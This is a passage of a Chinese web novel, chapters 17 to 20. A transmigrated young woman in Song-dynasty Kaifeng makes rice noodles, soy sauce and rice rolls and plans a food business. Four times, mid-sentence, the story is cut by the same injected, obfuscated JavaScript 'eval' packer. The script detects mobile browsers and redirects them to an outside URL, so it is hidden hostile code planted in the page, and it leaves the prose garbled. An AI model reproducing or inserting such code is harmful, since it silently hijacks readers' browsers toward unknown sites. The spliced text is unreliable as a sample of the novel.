王文茵还了一礼，笑吟吟道：“多谢郎君，不知婶娘的病情如何？” 赵四郎面色微涩，坦诚道：“我已询问了婶娘患病的起因和症状，因我目前医术尚浅，还不足以为婶娘治疗，故将这些病情记录下来，回去禀告兄长，届时便由兄长来替婶娘开方诊断。” 阿萍闻言激动得给赵四郎跪了下来，“多谢神医为我娘治病。”说完咚咚磕头。 “使不得，小娘子快请起，举手之劳而已。”赵四郎上前托起阿萍。 先前围在门口的众人也呼啦啦跪下来磕头，齐声呼唤：“神医，也给俺们看看病吧！” 赵四郎的脸霎时就红了，行医这些年见过不少像阿萍娘这样底层的病患，他们大都穷困潦倒，走投无路，最后小病熬成大病，大病只能等死。他只略尽善意，病患便要将他视为悬壶济世的华佗扁鹊，可他清楚自己医术有限，面对病患们的厚望，受之有愧，甚至有些不知所措。 王文茵出来替赵四郎解围：“诸位阿叔阿婶，赵郎中大早上从朱仙镇赶来咱们这儿看病，这会儿应该腹中饥饿，不如先让他用点膳再说？” 赵四郎接话：“阿叔阿婶们放心，赵某今日过来就是为给大伙儿看病来的，也必定会让每个人都看上病。” 众人一听纷纷点头称是，于是起身散去。 王文茵在阿萍耳边悄悄说了句话，阿萍狠狠点头，挤开人群跑了出去。 “郎君莫要见怪，住在此处的都是苦命人，得了病只能干熬着，鲜少有郎中愿意上门来为他们看病，是以激动了些。”王文茵无意过度渲染苦难，她相信赵四郎应该见过不少这样的场面。 赵四郎舒了一口气，苦大仇深的场面他见过不少，倒是像王小娘子这样将苦难轻描淡写的人很少见，不禁有些佩服她这苦中作乐的开朗心性。 “小娘子来此处有多少时日了？我先前曾随兄长来此行医，并未见过小娘子。” 王文茵道：“我与阿弟大约一个月前来此养病，不是很久，故未曾见过郎君与贵兄。” “小娘子为何会流落至此？”赵四郎一直好奇王文茵的来历。 王文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14826637|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茵垂眸笑了笑：“说来话长，待有机会再告诉郎君。对了，郎君一大早赶来想必饿了吧，我这儿备有原汤肉臊米粉，不知郎君是否赏脸来一碗尝尝？” 见她不愿提起，赵四郎也不勉强，注意力转移到了吃食上，好奇道：“何谓米粉？” “米粉便是由大米做成的汤饼。” “我只知小麦磨粉可做成汤饼，却不知大米也可做汤饼，这也是小娘子的独家秘方吗？”赵四郎打趣道。 王文茵掩嘴笑道：“非也，是我从祖父撰写的杂记中学来的一种西南地区的主食。” 赵四郎心说，王小娘子果然出身不凡，不仅会调制酱油、十三香，还会用大米做汤饼，身为吃货的他必须得跟她好好切磋切磋，便欣然道：“相请不如偶遇，那我便不客气了，嘿嘿。” 阿萍端着一碗热乎乎的原汤肉臊米粉过来摆在赵四郎面前，恭敬道：“神医请用膳。” 赵四郎汗颜：“小娘子客气了。” 面前这碗肉香四溢的米粉看着就很诱人，赵四郎食指大动，举起筷子挑了一根滑溜溜白嫩嫩的米粉吸进嘴里，眯起眼咀嚼，唔，这口感是前所未有的爽滑啊。再喝一口汤汁，这不是普通的汤汁，是精心熬制的高汤，配上经过香料调制的肉臊，咸、鲜、香、浓，搭配得恰到好处，口感层次丰富，真是美味又不过于浓郁。 赵四郎不顾形象呼噜噜吃完了一大碗米粉，放下碗筷，意犹未尽道：“小娘子，我还能再要一小碗吗？” “哎好，我再去给神医盛一碗来。”能为神医尽力阿萍喜不自禁。 赵四郎大囧，哀求道：“小娘子能不能告诉阿萍，别再喊我神医了，我这三脚猫医术，说出去只有被人笑话的份。” 王文茵掩嘴笑道：“对阿萍而言能为她娘亲治病的人才配得上神医的称号，其他郎中即便医术再高明，若是不肯为贫苦之人治病，又怎配得上神医的称号呢？” 赵四郎叉手告饶：“小娘子说得有理，实在是我当不起这个称号，真要算的话家兄必定比我更适合。” 原来赵四郎族中从祖父开始便是翰林医官院的医官，到他父亲这辈已经上升为“太医丞”，地位仅次于尚药奉御，故他家药铺名为“赵太医丞药铺”。而他兄长因从小天赋异禀，继承了父辈的衣钵，在未满二十岁时就被当朝宰执司马相公破格奏荐入了翰林医官院。身为医官的赵大郎不光只为皇族、大臣服务，还经常为驻军和普通百姓治病，是汴京城里远近闻名的“妙手神医”，“再世华佗”。【注2】【注3】 “我于医术并不如兄长那般有天赋，是以家父便有意培养我执掌家中药铺。”赵四郎赧然，心说王小娘子不会把自己当成窝囊废吧？ 王文茵心里想的却是另一件事，司马相公跟文相公一样是旧党领袖，都是祖父的政敌，她暗叹一口气，祖父你到底给自己树了多少敌啊？偏偏她又运气这么“好”，遇见的一个两个还都是敌方阵营的人。 18. 第十八章 见王文茵发愣，赵四郎清了清嗓，自嘲道：“小娘子是否也觉得赵某愧对先祖？” 王文茵这才意识到赵四郎误会了，便道：“人各有志，与其勉强自己去满足他人的期望不如痛痛快快做自己。” “知我者小娘子也！”赵四郎哈哈大笑，心里已经将王文茵视为了知己。 王文茵心说，自己又何尝不是呢，祖父母若是知道自己打算从商，怕是会气活过来。只是生活在这个朝代的女子除了嫁人相夫教子，又没有太多别的选择，从商反而是她能靠自己有尊严地活下去的唯一选择了。 阿萍给赵四郎又端来了一大碗肉臊米粉，赵四郎居然来者不拒，全给吃下去了。尽管肚子已经撑爆，他还是坚持将最后一口汤汁喝下肚，扶着墙道：“这是我生平吃过最美味的汤饼。” 阿萍眯着眼笑：“神医若是喜欢随时都能来这儿吃到最新鲜的米粉，咱们这儿就是米粉作坊。” “小娘子为何不将米粉送去朱仙镇售卖？”赵四郎热心建议道：“如此美味的汤饼相信一定很受欢迎。” 王文茵将赵四郎引到灶房内，王大崔几人正在各自的岗位上忙碌着。赵四郎带着新奇的目光看他们将泡好的大米磨成浆，再放到热锅上蒸熟，待米皮凉了切成条便是他刚刚吃下去的滑溜米粉。 他有些明白王小娘子为何没能将米粉运去朱仙镇售卖了：“看来这鲜米粉还是要现做现吃才好，此地与朱仙镇尚有一段路程，怕是不便运输。” “正是如此。”王文茵道：“是以我打算做成干米线再拿去镇上售卖。” 王文茵又将赵四郎带去了后院，在那儿穆叔正跟王小郎君一起在做饸饹床子。 饸饹床子的床身和支架已经初具雏形，铁匠铺子里买回来的铁制床壶紧扣在床身中央，穆叔用凿子和木锉将一段质地坚硬的枣木慢慢锉成壶柱，再由王小郎君将边缘细细打磨圆滑。【注1】 “这又是什么？”赵四郎稀罕极了，王小娘子跟变戏法似的，整的尽是他没见过的稀奇玩意儿。 “这叫饸饹床子。”王小郎君拿出王文茵画的图纸给赵四郎介绍道：“是做干米线专用的模具。” 赵四郎捧着图纸啧啧称奇：“小娘子实在令在下大开眼界，若说这米线尚能从典籍上参学，可这模具又是如何设计出来的？” 王文茵本想谎称这模具是自己在江南时见过类似的工具自行改造设计的，不想她阿弟王小郎君已经帮她想好了措辞。 “这模具是我阿姊在梦境里跟仙人学来的呢。”王小郎君得意道。 这话一听就是胡扯，不过赵四郎还是捧场地假装自己真信了，羡慕道：“想不到小娘子竟还有这奇缘。” 王文茵打着哈哈含混过去，心说，不管你信不信，反正都是事实。 “说起来小娘子方才给我食用的原汤肉臊米粉中是否添加了十三香？”比起米粉制作赵四郎对王文茵先前提过的十三香似乎更感兴趣。 王文茵点头又摇头：“尚且不是真正的十三香，不过是用了四味香药简单调制而成的合香罢了。” “不过是四味香药这口感便已经如此丰富，若是真正的十三香怕不是要香麻了？”赵四郎回味着肉臊米粉的滋味，凭想象自动脑补了十三香的味觉冲击，颇有点画饼充饥的意思。 王文茵笑道：“这十三种香料的配比需要经过多次调试方才能最终定型，预计还需等一些时日。” 赵四郎表示理解：“我们药铺调制药材也是需要经过反复调整试用后才敢公开售卖的。” “我有个不情之请，郎君于香药应是比我更为了解，待十三香调制完成，想请郎君品鉴，不知是否可以？”王文茵试探着放出合作信号。 赵四郎搓搓手，欣然应邀：“那我自然求之不得！小娘子有所不知，家中长辈对膳食要求非常严苛，经常告诫我们病从口入，以至于家中常年只供清汤寡水，食不知味也不过如此。偏我又是个贪嘴爱吃之人，嘴馋的时候只能偷偷去外面吃，吃完还不能让长辈发现，否则就免不了一顿训斥。” 王文茵心说，赵太医家的饮食习惯倒是很符合后世健康饮食的标准，不过对宋朝人来说就真的太寡淡了，毕竟这个时代不像后世有那么丰富多样的美食，大部分底层庶民都还徘徊在温饱边缘，讲究健康饮食实在有点奢侈。 “讲究健康饮食倒也没错，只是无须严苛到餐餐清汤寡水，偶尔吃点荤腥油腻调节一下口味，促进食欲，也未尝不可。”王文茵又道：“自古便有药食同源一说，香药不仅能提鲜增香，也有药用价值，举凡使用得当，药膳对身体的康健帮助反而更大。” 赵四郎击掌大赞：“小娘子说到我心坎上了，美味的食物让人心情愉悦，何尝不是一剂治病的良方。” 王文茵笑道：“正是如此，吃得开心，包治百病。” 当下，两个吃货聊完吃食，赵四郎照旧去给后院的人看病问诊，王文茵则跟阿萍、周婆子一起准备酿制酱油。【注2】前一晚她已经让阿萍将大豆去除杂质后用山泉水洗净，再放入缸中浸泡。今日一看，泡胀的大豆大都呈椭圆形，待水分沥干后还要经过一轮筛选，将其中的没有膨胀的坏豆都挑出来，避免影响酱油的品质。【注3】 精心挑选出来颗粒饱满的大豆用纱布包住放入锅内蒸熟至用手指轻轻一捻便碎的程度便可以了。与此同时，王文茵让周婆子将小麦放入干燥的铁锅内炒至少许金黄色，再让阿萍用茶碾将晾凉的小麦磨成粉备用。随后将蒸熟的大豆倒置在簸箕上摊平晾凉，待冷却后再加入先前磨好的小麦粉混合均匀，重新摊平后静置在温暖的灶房内，让大豆与小麦粉充分发酵。【注3】 “小娘子，将这大豆与小麦粉混合真的能发酵吗？” 周婆子在大户人家的灶房里待过几十年，多少了解一些发酵的原理，酿酒便是用大米混合酒曲后发酵所制，只是用小麦粉与大豆混合发酵却是第一次见，难免产生疑惑。 王文茵尽量用宋人能听得懂的白话解释给她听：“将大豆与小麦粉混合后置于温暖的环境里， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14837696|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几日之后表面便会生成一层草绿色的酱油曲霉，有了这酱油曲霉便能促使大豆继续发酵，才能形成酱油胚，最后方能酿造出色泽浓郁的酱油来。”【注3】 周婆子似懂非懂，什么酱油曲霉，她听不懂，但小娘子是识字的，她知道的东西很多，所以她说的话周婆子深信不疑。 大豆发酵需要三四日，饸饹床子再有两日便可完工，调制十三香的同时，王文茵想起今日的帐还没盘过。便从袖袋里掏出文七郎给的荷包，打开来一看，不看还好，一看吓一跳，荷包里装的竟然不是意料之中的赏银，而是一锭金锞子，足有十两重。 “呀，小娘子，今日的赏银居然是金锞子，文老夫人可真慷慨。”张二嫂的眼珠子都快掉出来了，生平第一次见到黄灿灿的金锞子，原谅她笑得像个傻子。 王文茵却暗暗叫苦，文七郎啊文七郎，你就算是赔礼也犯不着下这么重的血本吧，这叫我怎么受得起？ “许是弄错了。”王文茵将金锞子收起放入荷包中：“待我明日送还回去。” 送回去？？？ 张二嫂恋恋不舍地盯了荷包好一会儿方才挪开眼，咬着后槽牙道：“这赏银确实重了些，只是……哎……” 王文茵知道她想说既然弄错了，那就索性将错就错，反正文家又不缺这点金子。 她不好告诉张二嫂这其中的曲折典故，便解释道：“文老夫人每日给我的赏银比咱们单卖米粉可多多了，做人不能太贪心，贪心不足蛇吞象，倒是叫人看轻了咱们。” 张二嫂醒悟过来：“小娘子说的是，人穷志不能短，金子虽好，咱们努力卖米粉也能挣得到。” 这就对了！ 王文茵很欣慰，张二嫂虽是村妇出身，眼界可比那些京城里的贵妇要宽许多。 翌日，王文茵找到陈武，请他帮忙传话，说自己想见他家七衙内一面，有要事禀告。 没想到陈武却从怀中掏出一封事先已经准备好的信函给她，并告知：“我家七郎已于昨日动身回汴京了，这封信是七郎临走前留下的，他说若是小娘子来寻他便将此信交于你，看完你就明白了。” 王文茵惊讶不已，拆开信一看，在信中文安世说自己知道她想问的是何事，并告诉她赠予她的金锞子并非出于歉意，而是感激她每日变着花样让祖母胃口大开，希望她能将十三香研制成功，做出更多美味来让他的祖母每日都能好好吃饭。 看来文七郎早就料到她会来归还金锞子，所以提前留了一手，打着孝顺祖母的名义，好让她心安理得地收下重赏。王文茵咬咬腮帮子，将信收起，朝陈武福了一福，道：“麻烦小武哥替我转告你家七郎，我必定不负他所托。” 陈武并不识字，也不清楚他家七郎在信里写了什么，不过既然王小娘子这么说了，他自然没有不答应的道理，“小娘子放心，我必定将你的话一字不漏转达给七郎。” 王文茵离开后，陈武转身去了后院的书房，推开门道：“七郎，我已将你的信转交给王小娘子了。” 19. 第十九章 窝篮拉肠 文安世正在窗前练字，习的是一幅名为《赤壁赋》的帖子，这是东坡居士苏大人的名作。苏大人是将晋、唐、五代各位名家之长融会贯通后“自出新意，不践古人”的当代书法大家，也是他最为敬重的大词人。【注1】 陈武进来禀报，文七郎头也不抬回道：“她怎么说？” “小娘子说她必定不负所托。”陈武一五一十答道，说完垂手立在门边不动。 文安世嗯了一声表示自己知道了，继续练他的字，过了好一会儿也没听到闭门的声音，不禁抬起头来看向门口，疑惑道：“还有何事禀告？” 陈武挠挠头，不解：“七郎为何要欺骗小娘子？” 文安世提笔的手一顿，从小跟着他的陈武总能一针见血戳他的肺管子，他也从不在陈武面前掩饰自己的气性儿，强词夺理道：“我几时骗过她？” 陈武一听眉毛都歪了，七郎分明是在睁眼说瞎话，便不由分说拆穿他的谎言：“七郎明明还在山庄，为何欺骗小娘子说自己已经回了汴京城？” 文安世跟陈武明面上是主仆，私底下就是好哥们，被拆穿了倒也不生气，撇嘴笑道：“今日回去跟昨日回去差了不过一天而已，不算骗。” 陈武歪着脑袋想了想，恍然大悟：“哦——我知道了。” “你又知道什么？” 陈武摇头晃脑，眼神促狭：“必定是那日七郎得罪了小娘子，不好意思见她，便只好躲着她，是也不是？” 文安世懒得解释，挥手让陈武出去：“你说是便是，我还要习字，你先下去吧。” 陈武从书房里退出来，有点摸不着头脑，喃喃自语：“七郎什么时候怕过人？看来王小娘子还真是特别。” 揣着金锞子离开的王文茵心里想的却是另一番光景，当初提议给文老夫人做米粉主要是想练练手，顺便测试一下风味米粉的口碑，以便为将来开店卖米粉积攒经验。结果没想到老夫人出手慷慨，给的赏银实在太多，叫她难以拒绝，于是便顺理成章做起了兼职厨娘。 其实按周婆子的说法王文茵是吃亏的，因为汴京城里雇佣一个厨娘操办宴席得给人支付三二百千钱，而大户人家雇一个奴婢平均每年也不过四五十贯钱。【注2】 虽然祖父也曾为宰执，但跟文相公不同的是祖父一心为民，清廉节俭，不像文家这般拥有诸多田产。文家的财富来自何处不得而知，但王文茵却是靠自己的双手干干净净赚来的，所以她可以心安理得地接受文老夫人的赏银。 王文茵倒是不介意文安世把她当做孝顺祖母的工具人，反正一样是赚钱，什么名头不重要，重要的是钱得给够。现在的问题是，这钱给的有点太多了，多到让王文茵产生了拿着这枚金锞子以后不管文七郎提什么要求她都不能再拒绝的错觉，毕竟拿人家的手软嘛。 她很踌躇，思来想去决定把这枚金锞子先收起来藏好，不到万不得已绝不动用。至于文七郎嘛，兵来将挡水来土掩，只要不违背原则和底线，她很乐意做个快乐的工具人。 为了表达自己的诚意，王文茵特地让穆叔去后山上砍了几根竹子，再用竹子的青皮编了两个大圆簸箕，她要给文老夫人做窝篮拉肠尝尝鲜。 后世的广式肠粉按做法可分为抽屉拉肠粉、窝篮拉肠和布拉肠粉这几种。跟米粉一样，肠粉也是用早籼米磨浆后蒸熟所制，只不过米浆的配方比例略有不同而已。 抽屉拉肠粉用的工具是不锈钢制的抽屉蒸箱，但这个时代还没有不锈钢。布拉肠粉则是将米浆浇在细密柔软的纱布上，再利用蒸汽穿透纱布孔隙的方式将米浆蒸熟，这样做出来的肠粉口感更加细腻湿滑。【注3】 只是布拉肠粉需用质地上好的棉纱布做容器，但北宋的棉花种植还没普及，市面上即便有棉布，价格也十分昂贵，普通人根本用不起。所以，在口感差别不大的情况下，王文茵决定用竹编簸箕做窝篮拉肠，成本就低了许多。 做窝篮拉肠前须先在簸箕上扫一层油，再将米浆浇在扁平的窝篮上，随后双手把着簸箕的边旋转摇晃，待米浆像一张布一样均匀摊平后再铺上肉码，最后扣到已经上汽的热锅上加热。由于簸箕表面有很多细小的缝隙，在蒸制过程中米浆中的水分便会从缝隙里排走，形成一张薄而透明的米皮。因此，用窝篮蒸出来的肠粉口感轻薄润滑，米香也更加浓郁。【注3】 第一锅窝篮拉肠出炉时，幸运的吃货赵四郎恰巧赶上了。 “小娘子又在研究什么新奇的吃食？”灶房门口探进来赵四郎半个身子，刚进院子他就闻到了米香，循着味儿寻过来。 “来得早不如来得巧。”王文茵笑盈盈地将一盘刚出锅的窝篮拉肠奉上：“这是新鲜出炉的窝篮拉肠，郎君快尝一口。” “窝篮拉肠？” 这名字听着古怪，但这盘中薄如蝉翼、晶莹剔透的肠粉可就太诱人了。赵四郎用筷子夹起一片薄薄的肠粉放入嘴里品尝，嗬，真是又软又弹，入口即化的好滋味。 “口感如何？”王文茵等着第一位试菜的品鉴师给出中肯的评价。 “好，好，好！”除了连声叫好，赵四郎已然词穷，这肠粉比之米粉有过之而无不及，吸溜一口颊齿留香，还没来得及咀嚼便顺着喉咙滑下了肚，实在太好吃了。 王文茵眯着眼笑，看赵四郎一脸满足的表情就知道窝篮拉肠已经成功俘获了这枚吃货的胃。 一盘下肚赵四郎意犹未尽，眼睛不自觉投向了灶台上的蒸笼，舔舔唇不好意思笑了笑，“赶早出门还没来得及用早膳，吃相狼狈，小娘子莫见怪。” 阿萍闻言咯咯笑，“神医莫担心，我家小娘子最喜欢看人吃东西狼吞虎咽的模样，她管这叫客户的真实反馈，说明咱们的食物是真香真好吃，嘿嘿。” 赵四郎也不扭捏，将空盘递过去，笑嘻嘻道：“那我还能再要一盘吗？” 王文茵豪气点头：“郎君想吃多少就吃多少，今日肠粉管够！” 灶房里其他几个早就候着等开锅的人都主动将新出炉的下一锅肠粉让给了赵四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14846581|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郎，搞得赵四郎十分不好意思，连连婉拒。 “神医吃饱了才能给大伙儿看病，咱们几个都已用过早膳，不急。”最会说话的王大崔代表大家发言。 众人一致点头，纷纷道，神医不收分文大老远跑来静缘庵为大家看病，大恩大德没齿难忘，只要神医喜欢，想吃多少他们就做多少。 气氛都烘托到这儿了，赵四郎“勉为其难”又狂炫了好几盘肠粉，直至打饱嗝，方才打住。 赵四郎扶着墙挪出灶房，揉着肚子道：“赵某这辈子都没吃这么撑过，实在太饱了。” 王文茵打趣他：“郎君昨儿还说贵府提倡健康饮食，怎的一转眼就忘得一干二净？” “小娘子有所不知，我最是贪嘴，喜欢的吃食那便是要吃个尽够方才肯罢休。”赵四郎不好意思地笑了：“父亲和兄长倒是经常提醒我要节制，不过美食当前实在无法自控哇。” 听赵四郎这么说，王文茵心里越发笃定，这窝篮拉肠必定能博得文老夫人的欢心，眼下唯一的遗憾就是少了酱油做调味汁，否则非叫赵四郎吃到肚皮翻天不可。 “美食虽好，莫要贪食哦。”王文茵学着后世的广告词戏谑道：“郎君若是喜欢我们的吃食，可常来，不必拘礼。” “有了小娘子这句承诺，那某便不客气了。”赵四郎从随身的包裹里拿出药包来交给王文茵：“这是我按兄长为婶娘开的药方抓的药，只需每日两次按时煎服便可。” 王文茵接过药包感激道：“多谢郎君费心，只是这药钱郎君须得收下。” “我若是收下了药钱岂不是再也不能来你们这儿打秋风了？”赵四郎玩笑道。 赵四郎都这么说了，王文茵自然也不好驳他的面子，否则倒显得她生分了。 “我替婶娘多谢郎君了。”王文茵福了一福。 “小娘子客气。”赵四郎还了一礼。 二人默契一笑，两枚吃货真是格外投契。 **** 翌日一早，王文茵将磨好的米浆和两只簸箕一起带去了文家庄。 事先已经通知过大管家要为文老夫人做新近研发的吃食——窝篮拉肠，大管家一早就候在灶房门口引颈期盼了。见王文茵现身，便迫不及待迎了上去：“小娘子早啊！” 王文茵福了一福：“院公早。” “小娘子可是带来了新鲜吃食？”大管家左看右看，没见王文茵带什么新的吃食来。 王文茵提起手里的两只簸箕：“这便是了。” “小娘子带这簸箕来是作何用途？”大管家有点摸不着头脑。 “这便是我提过的窝篮拉肠。”王文茵神秘兮兮道：“院公且稍等片刻，我这就去灶房准备吃食。” 大管家也不追问，王小娘子虽然行事古怪吧，但做的吃食确实美味，深得老夫人喜爱。况且他家七郎也说了，凡是王小娘子的要求，不必奏请便可应允。啧啧，素来端方严肃的七郎居然会说这话，可见王小娘子做的吃食有多受欢迎了。 20. 第二十章 窝篮拉肠不出意外受到了文老夫人的好评，还给了五两银子做赏钱。 大管家不无羡慕地问：“小娘子真的不再考虑考虑跟着老夫人回京城去做贴身厨娘？” 王文茵低头思考片刻，抬眼笑了笑道：“院公抬爱，奴家只是乡野丫头，怕是担不起贴身服侍老夫人的重责。” 大管家心说，王小娘子看着挺机灵一人，咋就这么冥顽不灵呢？能跟在老夫人身边做厨娘，别说吃穿不愁，赏银不断，将来哪怕离开文府，到了外面照样是香饽饽，那不比待在静缘庵这种破地方强？ “既是如此，那洒家也不便勉强，只有一事还想请求小娘子。” “院公请说。” “我家老夫人很是喜欢小娘子做的米粉肠粉，听小娘子所言，这两种吃食须现做方才好吃，若是老夫人回了京城便再也吃不到了，是以……”大管家谄媚地笑了笑，试探道：“小娘子可否将这两种吃食的秘方卖与我们文府？多少银子只管开价。” 王文茵眯起眼，莞尔一笑：“院公不必担心，鲜米粉固然要现做才好吃，可干米线却是可以长期储存的。老夫人若是想吃，可将我们做的干米线一并带回京城去。” “干米线又是何物？” “干米线便是晒干后的米粉呀。”王文茵给大管家科普：“干米线用水烫煮熟后口感跟鲜米粉相差无几，甚至更加筋道爽滑。且干米线可以长期存储，什么时候想吃了，随时可以做，方便至极。” 大管家一拍大腿：“既是如此，小娘子为何先前不提？” 王文茵两手一摊：“制作干米线需要用专门的工具——饸饹床子，静缘庵里并无此类工具。这还是奴家前几日特地去朱仙镇买来木料请工匠制作的，费钱又费功夫，先前哪有这等条件不是。” 大管家以为王文茵是特地为文老夫人回京准备的干米线，感动不已，“小娘子有心了，我家老夫人若是知道小娘子的良苦用心，必定十分欢喜。” 王文茵顺水推舟：“院公言重了，区区小事不足挂齿，奴家感恩老夫人的仁慈，聊表心意而已。” 大管家十分受用，对王文茵的看法已经从冥顽不灵变成了十分上道。 **** 揣着赏银回到静缘庵后，穆叔兴冲冲跑来找王文茵，告知自己已将饸饹床子做好了，此刻正在院子里摆放着，等她去验收。 巧了不是，早上刚跟文家大管家说要做干米线，饸饹床子这就完工了。 王文茵当即带着阿萍前去院子里验货，没想到居然碰到了妙善和静尘，两人正绕着饸饹床子瞅来瞅去，不知这东西是作何用途。 “二位师太有礼了。”王文茵上前行礼打招呼。 见是王小娘子，妙善立刻收敛了脸上的好奇之色，清了清嗓子，一本正经道：“小娘子有礼。” “师太可是找我有事？”王文茵明知故问。 “倒也没有……”妙善想否认，却还是忍不住好奇问了一嘴：“听说这是小娘子发明的工具，不知是作何用途？” 王文茵倒是不藏私，其实藏了也没用，大大方方给妙善介绍：“这工具名为‘饸饹床子’，是用来做干米线的。” “原来是饸饹床子呀……”妙善不懂装懂。 “师太也知道饸饹床子？” 妙善尬笑：“……不知道，莫非是小娘子自创的新鲜玩意儿？” 王文茵没取笑妙善，反而坦诚相告：“这饸饹床子非我原创，而是从古籍上学来的，我只是略加改进而已。” “小娘子知道的东西可真多。”妙善这句话倒是真心，书到用时方恨少，可恨自己就是读书太少，要是知道书中自有黄金屋，早年师父还在的时候就应该跟着她多读几本才对。 “师太谬赞。” 王文茵说话做事得体又谦逊，静尘对她早已改观，只是碍于师父的面不好夸她，便和气地朝她笑了笑。 这份善意王文茵接收到了，回以同样的笑容。 妙善师徒走后，阿萍忍不住咕哝：“老尼姑是想来偷师的吧？” 王文茵抬起手指轻点她额头：“不许对师太不敬。” 阿萍吐舌：“下次不敢了。” 王文茵仔细检查了饸饹床子，发现穆叔的手艺是真的好，床体结实，细节精巧，表面和边缘处都经过细致的打磨，手摸上去的时候又滑又润。她很满意，夸得穆叔老脸都红了。 为了去朱仙镇上兜售米线，王文茵决定让穆叔再做个手推的小餐车。 她参考后世的餐车设计，做了一些调整和改进，绘制出一辆小巧玲珑、功能齐全的路边餐车来。老木匠穆叔都开始怀疑王小娘子是不是得了鲁班的亲传，不然如何能造出这些个稀奇古怪的工具来。 王文茵但笑不语，内心的OS：我只是站在了巨人的肩膀上。 有了饸饹床子就可以制作干米线了，干米线的制作工艺相较鲜米粉略为复杂一些，需经过淘、浸、磨、滤、揉、榨、煮、晒，这八个步骤十七道工序。【注1】 首先第一步是选米，跟鲜米粉一样干米线的原材料也是早籼米，这种米制成米线后不容易黏糊断裂，可以保存相当长的时间。挑除杂质后先将大米洗净再浸泡一夜，第二日便可将泡胀的米磨成米浆了。【注1】 跟鲜米粉不同的是，制作干米线的米浆不能直接上锅蒸熟，而是要先灌入麻布袋中，再在上头压一块大石，让袋中的米浆慢慢滤去水分，直至脱干为止。随后再将脱水的米团揉捏成圆柱状的米粿，放入蒸笼中蒸至半熟。注意，米粿一定不能蒸熟，否则搅散的米团就会黏连，不容易挤压成米线。【注1】 半熟的米粿晾凉后先放入碓【注2】中舂碎，然后再将其揉搓成小团剂备用。 此时的灶台上已经架好了饸饹床子，床壶下方正对着大铁锅，锅中注入干净的山泉水。待水烧开便可将小团剂放入床壶中用力下压，通过床壶底部的漏网榨出一缕缕细长的米线来。米线经过热水烫熟定型后再用笊篱提出，这一步叫提粉。【注1】 刚从热水中提出来的米线还不能直接晾干，须再次放入沁凉的山泉水中过洗一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14854122|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遍，这叫洗粉。洗过的粉搓揉理顺后再用两根竹签缠绕，摊平搁置在竹帘子上自然晾晒，经过风干日晒便最终成了干米线。【注1】 王文茵测算了一下，1斤籼米大约能做成2斤湿米粉，1斤干米线用温水浸泡后可产出3斤的湿米线，那就相当于1石籼米=92.5宋斤籼米=185宋斤湿米粉=约62宋斤干米线。【注3】 “小娘子，咱们这干米线打算卖几文钱一斤？”张二嫂在王文茵的指导下已经学会了拨算盘，虽然记账还比较吃力，但至少每天都能往前进一小步。 王文茵拿起账本算道：“若是一碗平平无奇的猪油拌粉（200g现代计量方式）卖5文钱，那么按照一石籼米产出185斤湿米粉，差不多等于592碗猪油拌粉。”她拨了拨算盘，“相当于1石籼米做成的干米线能卖2960文钱，也就是说1斤湿米粉要卖16文钱，1斤干米线则要卖48文钱才有盈利。”【注3】 张二嫂接过算盘继续算道：“咱们上次去朱仙镇进货的时候1石籼米的成本是600文，若是刨去这部分成本1石籼米做成的干米线毛利就是2360文钱，对不对？” 王文茵点头：“差不多，若是再算上人工、租金等其他项目的支出，最终的利润也就几百文钱吧。” 张二嫂是个容易满足的人，1石米捯饬下来就能多赚几百文钱，在她看来已经很多了。要知道逃难前在老家种田的时候，一年到头辛辛苦苦也未必能攒下几百文钱。种地得来的那点钱最后不是缴了田税，就是进了高利贷的荷包，做农民的也就只能吃糊糊度日，哪还有别的肖想。 若不是有过亲身经历，王文茵恐怕也难以想象底层的庶民活得有多苦。她握着张二嫂的手，给她画大饼：“婶子，咱们的目标可不止这几百文钱，咱们的目标是要在汴京城里购房置业、生根立足。” 张二嫂内心从未有过的对未来的规划和期待被点燃了，眼里泛起泪花：“小娘子，我就知道跟着你会有好日子过。别说将来在汴京城立足，就是眼下让两个孩子每日都能吃饱穿暖我就已经很满足了。” 